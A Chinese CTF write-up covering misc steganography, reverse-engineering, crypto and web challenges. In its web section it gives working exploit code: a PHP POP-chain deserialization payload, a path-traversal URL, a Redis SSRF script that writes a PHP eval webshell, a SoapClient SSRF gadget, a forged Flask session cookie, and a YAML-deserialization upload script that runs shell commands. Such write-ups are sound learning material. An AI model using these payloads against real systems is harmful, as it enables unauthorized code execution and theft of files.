I GOT 油 我想抽
MISC
ansic
安卓misc,逆不逆向问题不大,逆向了可以找到账号密码是admin和admin的md5的8到24位。
然后里面有一张图,在assert里也可以看见加密图片的逻辑(但也问题不大,ps可以搞定),加密图片在res里面,存在一个encode.jpg的图片
解密后是base64
目力之后是
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIwODA2NyIsImF1ZCI6IkRTVEJQIiwiaWF0IjoxNjY1MTExODg5LjYwMTY5MjQsImhpbnQiOiJUaGUgU2lnbmF0dXJlJ3MgYmFzZTY0IGlzIFppcCdzIFBhc3N3b3JkIiwiZXhwIjoxNjk2NjQ3ODg5LjYwMTY5MjR9.fBPoMQprLZF280c7jazIApJC4m0PX_Cx9_UnNMGZIP0
用jwt爆破密钥,得到w1lm,base64加密后提取一张jpg和class,jpg是jphs的隐写,密码在class文件中,class逆向得到逻辑
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
public class pwEncode {
public static void main(String[] paramArrayOfString) throws IOException {
File file = new File("D:/ansic/message.txt");
FileReader fileReader = new FileReader(file);
BufferedReader bufferedReader = new BufferedReader(fileReader);
String str1 = bufferedReader.readLine();
String str2 = "mllw";
String str3 = "";
byte b;
int i;
for (b = 0, i = 0; b < str1.length(); b++) {
char c = str1.charAt(b);
if (Character.isLetter(c)) {
if (Character.isUpperCase(c)) {
str3 = str3 + (char)((c + str2.toUpperCase().charAt(i) - 130) % 26 + 65);
} else {
str3 = str3 + (char)((c + str2.toLowerCase().charAt(i) - 194) % 26 + 97);
}
} else {
str3 = str3 + c;
}
i = ++i % str2.length();
}
if (str3 == "pdexbdlueesabldoizczudmlfdo")
System.out.println(str3);
}
}
最后可以爆破得到明文为:dstbpsaysthepasswordisbptsd
import string
def _enc(c,index):
key = 'mllw'
if c.isupper():
return chr((ord(c)+ord(key[index%4].upper())-130)%26+65)
else:
return chr((ord(c)+ord(key[index%4].lower())-194)%26+97)
enc = 'pdexbdlueesabldoizczudmlfdo'
table = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
res = ''
for i in range(len(enc)):
for j in table:
if _enc(j,i) == enc[i]:
res+=j
print(enc)
图片右键属性可以看见base64 jphs的提示,用jphs来解即可,密码:bptsd
滴滴图
图片结尾
图片binwalk,提取压缩包密码解压,获得图片,图片改高度
用来解压音频压缩包
然后morse密码,发现有干扰,用au分离左右声道
在线识别即可
left直接转hex,right识别出来全是乱码无视。(最后一位没识别完就截图了,无所谓
转换,是to_be_ctfer,直接提交。
poi?qoi!
工具转一下 r0有个mask
Mask:
Fake:
Real:
ez_xxd
流量分析,直接提取,flag.txt提取完是个图片,zip解压是个压缩包,zip内有一个叫Miku.png的图片,然后刚好提取的图片内容也是miku,直接明文爆破,获得密钥
bf5b3101 9aed7bd6 79e1cb93
myd直接提取就行了,直接是带密码的flag.zip,密码不知道,时间排序看js
解压flag.zip即可
easy_dots
打印机黄色校验,彩色打印机一般都有的水印
参考文章
https://w2.eff.org/Privacy/printers/docucolor/
不过在线工具不好使了,他给了源码,
https://gist.github.com/zwh2/ffb3d4ee0f66b8e6c726a217ff3d7f9cf12
点好的数据f12抓包,上传的时候的参数给自己本地部署的发过去就行了
(wp截图仅供参考,懒得重新点了)
postman发一下捏
设备id08067520,时间,2002 10-28 06:06,拼接md5提交
dockermisc
本想着用docker-layer做来着,不如直接挨个layer翻
翻到图片
lsb可以获得前半段,然后后面拼接个压缩包可以直接提取出来,直接爆破
获得flag内容,有0宽,不过数据量不够,是混淆用的,把可见字符直接base85就行了
Web
EasyPOP
Fast-destruct
```php
<?php
class fine
{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
public function __invoke()
{
call_user_func($this->cmd, $this->content);
}
public function __wakeup()
{
$this->cmd = "";
die("Go listen to Jay Chou's secret-code! Really nice");
}
}
class show
{
public $ctf;
public $time = "Two and a half years";
public function __construct($ctf)
{
$this->ctf = $ctf;
}
public function __toString()
{
return $this->ctf->show();
}
public function show(): string
{
return $this->ctf . ": Duration of practice: " . $this->time;
}
}
class sorry
{
private $name;
private $password;
public $hint = "hint is depend on you";
public $key;
public function __construct($name, $password, $key, $hint)
{
$this->name = $name;
$this->password = $password;
$this->key = $key;
$this->hint = $hint;
}
public function __get($name)
{
$name = $this->key;
$name();
}
public function __destruct()
{
if ($this->password == $this->name) {
echo $this->hint;
} else if ($this->name = "jay") {
secret_code::secret();
} else {
echo "This is our code";
}
}
public function getPassword()
{
return $this->password;
}
public function setPassword($password): void
{
$this->password = $password;
}
}
class secret_code
{
protected $code;
public function __construct($code)
{
$this->code = $code;
}
public static function secret()
{
include_once "hint.php";
hint();
}
public function __call($name, $arguments)
{
$num = $name;
$this->$num();
}
private function show()
{
return $this->code->secret;
}
}
$hint = new show(new secret_code(new sorry("1", "2", new fine('show_source', '/flag'), "")));
$a = new sorry(true, "123", "", $hint);
$content = serialize($a);
$content = substr($content, 0, strlen($content));
echo(urlencode($content));
删掉一个大括号
hade_waibo
非预期,直接读/start.sh,里面有文件名
http://0c4e0129-baa2-487f-9f8b-63e3e2a48170.node4.buuoj.cn:81/file.php?m=show&filename=…/…/…/…/start.sh
EasyLove
ssrf打redis,date提权输出flag
Python
cmd = [
"AUTH 20220311",
"flushall",
"set 1 {}".format("<?php${IFS}eval($_POST[0]);?>"),
"config set dir {}".format("/var/www/html/"),
"config set dbfilename {}".format("shell.php"),
"save"
]
def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*"+str(len(redis_arr))
for x in redis_arr:
cmd += CRLF+"$" + \
str(len((x.replace("${IFS}", " "))))+CRLF+x.replace("${IFS}", " ")
cmd += CRLF
return cmd
print(''.join([redis_format(x) for x in cmd]))
PHP
<?php
class swpu{
public $wllm;
public $arsenetang;
public $l61q4cheng;
public $love;
public function __construct($wllm,$arsenetang,$l61q4cheng,$love){
$this->wllm = $wllm;
$this->arsenetang = $arsenetang;
$this->l61q4cheng = $l61q4cheng;
$this->love = $love;
}
public function newnewnew(){
$this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng);
}
public function flag(){
$this->love->getflag();
}
public function __destruct(){
$this->newnewnew();
$this->flag();
}
}
$o = new swpu('SoapClient', null, array(
'user_agent' => "\r\n".file_get_contents("payload"),
'location'=>'http://127.0.0.1:6379',
'uri'=>''
), null);
class hint{
public $hint = "/var/www/html/";
public function __destruct(){
echo file_get_contents($this-> hint.'hint.php');
}
}
echo(urlencode(serialize($o)));
BlogSystem
博客里有常用secret直接改cookie
flask-unsign --sign --secret '7his_1s_my_fav0rite_ke7' -c
"{'_permanent': True, 'username': 'admin'}"
从download接口下源码,有个yaml反序列化,搞个py上去import一下module就行
import requests
import random
s = random.randbytes(2).hex()
f = f"""
!!python/module:static.upload.{s}
"""
session = requests.Session()
session.cookies.set("session", "eyJfcGVybWFuZW50Ijp0cnVlLCJ1c2VybmFtZSI6ImFkbWluIn0.Y1TK9w.sL9xcd4WuJrGlN_4aziq1PFhYDA")
url = "http://de91fa76-573b-426d-9c7b-f045470fd8d2.node4.buuoj.cn:81"
r = session.post(url + "/blog/imgUpload", files={
"editormd-image-file": (f"{s}.py", f"import os;os.system('cat /flag > /tmp/result-{s}.txt')", "text/plain")
})
print(r.json())
r = session.post(url + "/blog/imgUpload", files={
"editormd-image-file": (f"{s}.yaml", f, "text/plain")
})
print(r.json())
r = session.get(url + "/blog/saying", params={
"path": f"static/upload/{s}.yaml"
})
print(r.text)
r = session.get(url + "/download", params={
"path": f"/tmp/result-{s}.txt"
})
print(r.text)
REVERSE
Pycode
手动逆向一下,mt19937
from Crypto.Util import number
enc = '8b2e4e858126bc8478d6a6a485215f03'
def inverse_right(res, shift, bits=32):
tmp = res
for i in range(bits // shift):
tmp = res ^ tmp >> shift
return tmp
# right shift with mask inverse
def inverse_right_mask(res, shift, mask, bits=32):
tmp = res
for i in range(bits // shift):
tmp = res ^ tmp >> shift & mask
return tmp
# left shift inverse
def inverse_left(res, shift, bits=32):
tmp = res
for i in range(bits // shift):
tmp = res ^ tmp << shift
return tmp
# left shift with mask inverse
def inverse_left_mask(res, shift, mask, bits=32):
tmp = res
for i in range(bits // shift):
tmp = res ^ tmp << shift & mask
return tmp
def extract_number(x):
# x, x, 11
x = (x >> 11) ^ x
x = x ^ ((x << 7) & 2022072721)
x = x ^ ((x << 15) & 2323163360)
x = x ^ (x >> 18)
return x
def recover(y):
y = inverse_right(y,18)
y = inverse_left_mask(y,15,2323163360)
y = inverse_left_mask(y,7,2022072721)
y = inverse_right(y,11)
return y&0xffffffff
def transform(m: bytes):
new_message = b''
l = len(m)
for i in range(l // 4):
enc = m[i * 4:i * 4 + 4]
enc = number.bytes_to_long(enc)
enc = extract_number(enc)
enc = number.long_to_bytes(enc, 4)
new_message += enc
return new_message
if __name__ == "__main__":
num = input("input your number")
tmp = bytes.fromhex(num)
res = transform(tmp).hex()
if enc == res:
print("ok,your flag : DASCTF{{{name}}}".format(name=num))
else:
print("wrong")
new_message = b''
enc = bytes.fromhex(enc)
l = len(enc)
for i in range(l // 4):
dec = enc[i * 4:i * 4 + 4]
dec = number.bytes_to_long(dec)
dec = recover(dec)
dec = number.long_to_bytes(dec, 4)
new_message += dec
print(new_message.hex())
贪玩CTF
首先看一下导出表,有TLS,查看代码是反调试
查看关键词,交叉引用定位关键代码
关键函数在sub_1400019C0里面,返回值判断是否能成功登录,当v17==1,才能成功登录
密码和登录账号的长度都要是16,而且sub_140001390是一个关键函数,后面分析
account 逐字节xor账户名最后一个字节,我们动调看一下密文,下面是account的验证
记得要过反调试,把 IsDebuggerPresent的返回值1改成0就行了
提取数据
0x04, 0x1F, 0x1F, 0x1E, 0x43, 0x4B, 0x43, 0x45, 0x44, 0x00,
0x16, 0x10, 0x55, 0x17, 0x12, 0x73#最后一个字节不用xor
a=[ 0x04, 0x1F, 0x1F, 0x1E, 0x43, 0x4B, 0x43, 0x45, 0x44, 0x00,
0x16, 0x10, 0x55, 0x17, 0x12, 0x73]
for i in range(len(a)-1):
print(chr(a[i]^0x73),end="")
#账户名:wllm08067sec&das
sub_7FF76F351390里面是对密文的操作,利用Findcrypt可以获取AES特征,key是我们的账户名
0x7FF76F3543D8地址存放着wllm08067sec&das 的密码密文,0x7FF76F356990存放着我们输入后的加密密码。
提取密文
0x3C, 0x97, 0x72, 0x96, 0x5A, 0x33, 0x63, 0x9C, 0x97, 0x30,
0x4D, 0x90, 0x84, 0xE8, 0x5F, 0x56
调试后发现是标准AES,没有魔改,我直接用网站解了https://the-x.cn/cryptography/Aes.aspx
根据提示:flag提交格式为DASCTF{账号+密码}:DASCTF{wllm08067sec&dase4deb7a6510a10f7}
challenge
这一块的操作是将flag拆分成奇偶存储,可以动调查看内存,而且知道flag的长度是32
sub_405700里面有个base64表,后面是异常处理,IDA分析不出来
可以直接改JMP到catch位置分析
不过这个catch的处理我没看懂
byte_6090A0有个字符串szv~,unk_609350是一个初始化0x100大小的0,我们执行一下,然后查看
unk_609350会变成什么
在sub_400C10我看到了rc4的字符串,所以我就试了一下rc4,结果真的是rc4的s表
C#
#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <windows.h>
#include<string>
using namespace std;
void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len_k) //初始化函数
{
int i = 0, j = 0;
char k[256] = { 0 };
unsigned char tmp = 0;
for (i = 0; i < 256; i++) {
s[i] = i;
k[i] = key[i % Len_k];
}
for (i = 0; i < 256; i++) {
j = (j + s[i] + k[i]) % 256;
tmp = s[i];
s[i] = s[j]; //交换s[i]和s[j]
s[j] = tmp;
}
}
/*
RC4加解密函数
unsigned char* Data 加解密的数据
unsigned long Len_D 加解密数据的长度
unsigned char* key 密钥
unsigned long Len_k 密钥长度
*/
void rc4_crypt(unsigned char* Data, unsigned long Len_D, unsigned char* key, unsigned long Len_k) //加解密
{
unsigned char s[256];
rc4_init(s, key, Len_k);
int i = 0, j = 0, t = 0;
unsigned long k = 0;
unsigned char tmp;
for (k = 0; k < Len_D; k++) {
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j]; //交换s[x]和s[y]
s[j] = tmp;
t = (s[i] + s[j]) % 256;
Data[k] ^= s[t];
}
}
int main()
{
unsigned char data[] = { 0x72, 0xA7, 0xE5, 0xB1, 0xBF, 0xD1, 0x3A, 0xC9, 0x7E, 0x5D,
0x83, 0xA8, 0x21, 0x4F, 0x70, 0x90 };
unsigned char* key = (unsigned char*)"szv~";
rc4_crypt(data, strlen((const char*)data), key, strlen((const char*)key));
for (size_t i = 0; i < strlen((const char*)data); i++)
{
printf("%c", data[i]);
}
}
怀疑sub_406270是rc4加密,密文就是s1,提取一下
unsigned char s1[] =
{
0x72, 0xA7, 0xE5, 0xB1, 0xBF, 0xD1, 0x3A, 0xC9, 0x7E, 0x5D,
0x83, 0xA8, 0x21, 0x4F, 0x70, 0x90
};
这一部分的解密脚本就在上面求s表中,得到一部分flag,ACFg0Gw1Jo5Ix9C}
下面一部分很明显是base64,但是解不出来,猜了一下是换表
我们换个新的假flag继续调试,如果全部都是自己伪造的flag,可能会调试时自动退出去了,在函数里面可能有检测部分,但是有混淆不太好看,而且我们前面patch了很多东西,重新打开一个没有改动过的文件进行调试。
A_C_F_g_0_G_w_1_J_o_5_I_x_9_C}
现在很明显可以把flag头写出来DASCTF{g_0_G_w_1_J_o_5_I_x_9_C_}
新伪造的flag:DASCTF{g102G3w415J6o758I9x09aCb}
这里有的新的表,可以拿来试一下
C#
ghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdef
import base64
import string
str1 = "xlt0+V9PtVBKt0lEukZYug=="
string1 = "ghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdef"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))
#DST{Wo7Xj5Ad8Nx8
按奇偶排列就行了,DASCTF{gW0oG7wX1jJ5oA5dI8xN9xC8}
CRYPTO
RSA
Python
from Crypto.Util.number import *
from gmpy2 import iroot,invert
from binascii import hexlify,unhexlify
n_2 = 675835056744450121024004008337170937331109883435712066354955474563267257037603081555653829598886559337325172694278764741403348512872239277008719548968016702852609803016353158454788807563316656327979897318887566108985783153878668451688372252234938716250621575338314779485058267785731636967957494369458211599823364746908763588582489400785865427060804408606617016267936273888743392372620816053927031794575978032607311497491069242347165424963308662091557862342478844612402720375931726316909635118113432836702120449010
n_3 = 91294511667572917673898699346231897684542006136956966126836916292947639514392684487940336406038086150289315439796780158189004157494824987037667065310517044311794725172075653186677331434123198117797575528982908532086038107428540586044471407073066169603930082133459486076777574046803264038780927350142555712567
e_1 = 65537
e_2 = 3
c_1 = 47029848959680138397125259006172340325269302342762903311733700258745280761154948381409328053449580957972265859283407071931484707002138926840483316880087281153554181290481533
c_2 = 332431
c_3 = 11951299411967534922967467740790967733301092706094553308467975774492025797106594440070380723007894861454249455013202734019215071856834943490096156048504952328784989777263664832098681831398770963056616417301705739505187754236801407014715780468333977293887519001724078504320344074325196167699818117367329779609
m = 9530454742891231590945778054072843874837824815724564463369259282490619049557772650832818763768769359762168560563265763313176741847581931364
k = 8139616873420730499092246564709331937498029453340099806219977060224838957080870950877930756958455278369862703151353509623205172658012437573652818022676431
t = 0
tmp = c_2
while 1:
if(iroot(tmp,3)[1]):
n_1 = iroot(tmp,3)[0]
print(n_1)
print(t)
break
tmp += n_2
t += 1
p = 2224243981
q = 2732337821
r = 11585031296201346891716939633970482508158508580350404805965250133832632323150440185890235814142601827544669601048550999405490149435265122374459158586377571
phi = (p-1)*(q-1)*(r-1)
d = invert(e_1,phi)
m1 = pow(c_1,d,n_1)
m1 = hex(m1)[2:]
m1 = unhexlify(m1)
m1 = hex(int(m1,16))[2:]
m1 = unhexlify(m1)
flag1 = m1.decode()
flag2 = unhexlify(long_to_bytes(m))
print(flag1)
print(flag2)